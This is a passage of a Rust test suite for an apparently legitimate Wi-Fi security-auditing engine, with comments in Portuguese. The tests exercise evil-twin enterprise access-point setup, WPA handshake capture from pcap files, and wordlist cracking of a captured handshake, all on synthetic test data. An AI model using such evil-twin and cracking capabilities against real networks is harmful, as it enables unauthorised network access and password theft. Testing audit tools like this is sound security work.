.start_evil_twin_enterprise("wlan-test", "wlan1", "00:11:22:33:44:55")
.unwrap_err();
assert!(err.to_string().contains("hostapd-wpe"));
assert_eq!(
engine.enterprise_twin_jobs().len(),
0,
"não deve criar job sem hostapd-wpe"
);
}
#[test]
fn analyzes_pcap_and_snapshot() {
let dir = TempDir::new().unwrap();
let pcap = dir.path().join("capture.pcap");
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
let table = seed_session(&engine, "wlan-test");
let hs = {
let table = table.lock().unwrap();
table
.handshake("00:11:22:33:44:55", "66:77:88:99:aa:bb")
.cloned()
.unwrap()
};
let mut writer = PcapWriter::create(&pcap).unwrap();
let beacon = radiotap_wrap(&beacon_frame(ap(), "RedeWPA", 6, &[2]), 2437, -40);
writer.write_frame(&beacon).unwrap();
for frame in hs.raw_frames() {
writer.write_frame(&frame).unwrap();
}
writer.flush().unwrap();
let snapshot = engine.analyze_pcap(&pcap).unwrap();
assert_eq!(snapshot.access_points.len(), 1);
assert_eq!(snapshot.access_points[0].ssid.as_deref(), Some("RedeWPA"));
assert_eq!(snapshot.access_points[0].band, Some(Band::B2G4));
assert_eq!(snapshot.handshakes.len(), 1);
assert!(snapshot.handshakes[0].crackable);
assert_eq!(snapshot.stats.frames, 3);
}
#[test]
fn exports_handshake_and_cracks_it() {
let dir = TempDir::new().unwrap();
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
seed_session(&engine, "wlan-test");
let export = dir.path().join("hs.pcap");
let report = engine
.export_handshake(
"wlan-test",
"00:11:22:33:44:55",
"66:77:88:99:aa:bb",
&export,
)
.unwrap();
assert_eq!(report.frames, 2);
assert!(export.is_file());
let wordlist = dir.path().join("words.txt");
std::fs::write(&wordlist, "errada\noutra\npassword\nnunca\n").unwrap();
let id = engine
.start_crack(
"wlan-test",
Some("00:11:22:33:44:55"),
Some("66:77:88:99:aa:bb"),
&wordlist,
false,
)
.unwrap();
let deadline = Instant::now() + Duration::from_secs(10);
loop {
let job = engine.crack_job(&id).unwrap();
if job.status != "running" {
assert_eq!(job.status, "done");
assert_eq!(
job.report.as_ref().and_then(|r| r.password.as_deref()),
Some("password")
);
break;
}
assert!(Instant::now() < deadline, "job não terminou");
std::thread::sleep(Duration::from_millis(20));
}
let hs = engine.handshakes(Some("wlan-test"));
assert_eq!(hs[0].password.as_deref(), Some("password"));
}
#[test]
fn errors_are_clear_for_missing_inputs() {
let dir = TempDir::new().unwrap();
let engine = Engine::with_audit_path(dir.path().join("audit.log"));
assert!(engine.scan_snapshot("nope").is_err());
assert!(engine
.start_crack("nope", None, None, dir.path().join("nada.txt"), false)
.is_err());
assert!(engine.crack_job("nope").is_none());
assert!(engine.audit_entries(Some(10)).unwrap().is_empty());
}
}